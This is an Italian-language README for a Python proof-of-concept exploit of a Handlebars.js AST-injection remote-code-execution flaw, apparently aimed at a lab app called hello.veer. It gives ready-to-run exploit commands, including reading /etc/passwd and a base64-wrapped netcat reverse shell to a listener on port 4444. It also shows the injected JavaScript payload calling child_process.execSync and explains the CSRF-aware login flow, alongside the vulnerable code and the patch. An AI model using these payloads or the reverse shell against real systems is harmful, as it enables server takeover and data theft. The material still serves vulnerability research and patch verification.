
Python POC, Exploit per Handlebars.js AST Injection RCE, le versioni di Handlebars.js dalla 4.0.0 alla 4.7.8 sono interessate. Punteggio CVSS: 9.8 Critico.
Le versioni di Handlebars.js dalla 4.0.0 alla 4.7.8 sono interessate. Punteggio CVSS: 9.8 Critico.
CVE-2026-33937 è una vulnerabilità di confusione di tipo in Handlebars.js. La funzione Handlebars.compile() accetta sia una stringa di template che un oggetto AST pre-analizzato come input. Quando un attaccante passa un oggetto AST appositamente creato, il visitor NumberLiteral del compilatore inserisce il campo value del nodo testualmente nel corpo della funzione JavaScript generata senza alcuna sanificazione. Chiamare render() sul risultato esegue codice controllato dall'attaccante all'interno del processo Node.js.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
Argomenti
--url — URL di base del target, es. http://hello.veer/ (obbligatorio)--username — Indirizzo email di accesso (obbligatorio)--password — Password di accesso (obbligatorio)--command — Comando del sistema operativo da eseguire, il default è id (opzionale)Esempi
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
Lo script esegue un login completo prima dello sfruttamento. Prima invia una richiesta GET a /login per estrarre il token _csrf nascosto dal form, poi invia quel token insieme all'email e alla password fornite come POST form-encoded a /login. In caso di successo, il server restituisce un redirect 302 a /dashboard e imposta il cookie di sessione dz.sid che viene utilizzato per tutte le richieste successive.
Un nuovo token CSRF viene recuperato automaticamente prima di ogni richiesta POST, poiché il middleware CSRF dell'app lo richiede per ogni operazione di modifica.
L'applicazione espone POST /character che accetta Content-Type: application/json. Questa rotta crea un nuovo personaggio D&D e, quando viene fornito campaign_id, passa il campo campaign_message direttamente a Handlebars.compile() sul server:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
Quando il corpo della richiesta è JSON, campaign_message può essere un oggetto annidato (l'AST) invece di una stringa, bypassando qualsiasi validazione stringa a livello di form. Il campo campaign_id fa sì che il server memorizzi il risultato renderizzato come messaggio di log della campagna, leggibile poi all'indirizzo GET /campaign/1 — fornendo all'attaccante un output dei comandi out-of-band.
L'exploit usa il NumberLiteral combinato con l'helper lookup.
La compilazione normale di {{lookup this 1}} produce:
env.helpers.lookup(this, 1, {options})
Il NumberLiteral.value iniettato sostituisce il 1 con:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
Il JavaScript generato diventa:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
Quando viene chiamato render(), execSync() viene eseguito e il suo stdout viene restituito come valore dell'espressione, che viene memorizzato come messaggio della campagna.
I comandi vengono internamente incapsulati come /bin/sh -c 'cmd 2>&1' così che i comandi con spazi, pipe e reindirizzamenti funzionino correttamente e stderr venga catturato insieme a stdout.
Lo script registra il numero di messaggi della campagna prima di inviare il payload. Dopo la POST recupera nuovamente /campaign/1 e usa messages[before_count:] per isolare la voce appena aggiunta. Questo approccio gestisce correttamente i casi in cui lo stesso comando è già stato eseguito in precedenza, poiché un confronto basato su set deduplicherebbe output identici e non rileverebbe il nuovo risultato.
All'interno di javascript-compiler.js di Handlebars.js, il codice vulnerabile è:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
La versione 4.7.9 aggiunge un controllo di tipo nel punto di ingresso di compile() che rifiuta qualsiasi input non stringa prima che il generatore di codice venga mai raggiunto:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
Questo repository è destinato esclusivamente alla ricerca e all'educazione sulla sicurezza. Utilizza questo exploit solo contro sistemi che possiedi o per cui hai esplicita autorizzazione scritta a testare.